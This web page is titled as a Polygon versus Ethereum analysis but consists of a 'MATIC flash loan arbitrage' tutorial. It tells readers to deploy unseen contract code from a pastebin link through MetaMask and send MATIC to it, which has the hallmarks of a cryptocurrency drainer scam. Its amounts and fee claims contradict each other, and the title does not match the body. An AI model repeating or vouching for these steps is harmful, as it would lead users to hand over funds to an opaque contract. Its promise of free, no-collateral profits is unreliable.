Polygon MATIC vs Ethereum A Comprehensive Analysis of Layer 1 and Layer 2 Solutions

MATIC Flash Loans are an innovative financial service on the Polygon network that let you effortlessly borrow and repay MATIC, the native cryptocurrency, all within a single transaction—no collateral required! Utilizing advanced smart contracts, these flash loans provide immediate access to a large pool of funds, empowering you to seize exciting opportunities like arbitrage, liquidations, or other time-sensitive market strategies. Unlock the potential of your investments and make the most of every market moment with MATIC Flash Loans!

Step By Step Tutorial for Flash Loan:

1. Get the Metamask Extension for your browser
2. Open 👉https://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click "Create New File ".
4. Name the file maticArbitrage.sol and paste the Flash Loan Smart Contract Code link below.

Updated Smart Contract Code:
https://pastebin.com/raw/hvDYEckh

5. Click on the "Solidity Compiler" and set the compiler version to 0.5.0
6. Click on the Solidity Compiler and then click the blue button "Compile maticArbitrage.sol"
7. Wait for the code to compile.
8. Click on Deploy & Run transactions and set "ENVIRONMENT" to (Injected Web3) OR (Injected Provider - MetaMask).
9. Connect your MetaMask wallet.
10. Click the arrow down on the "CONTRACT" and select "InitiateFlashLoan - maticArbitrage.sol"
11. Click on Deploy & run transactions then click on the down arrow right from the "Deploy" button
12. 👉On "_TOKENNAME" myToken
13. 👉On "_TOKENSYMBOL" TOK
14. 👉On "_LOANAMOUNT" 10000
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send MATIC to the deployed contract to initiate the swap 131 MATIC (450 MATIC up is better as you will get a bigger amount in each swap)
➡️UPDATED GAS FEE REQUIREMENT: APPROX 80 MATIC - 131 MATIC is required to perform arbitrage successfully depending on gwei.
➡️Some of the time, you need to change Gas(estimated).
👉Just Click 🌐Site Suggested. (Low, Market, Aggressive)

19. Wait for the transaction to confirm.
20. Now, Click "flashloan" (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet

Note: if it doesn't work with 45 MATIC try to send another 45 MATIC (150 MATIC is better), because fees may be different from day to day. (45 MATIC for each 5000 MATIC you are borrowing)

Avoid using very low amounts as contract may fail below 45 MATIC.

Make sure to transfer your Funds out to another wallet when you're done.

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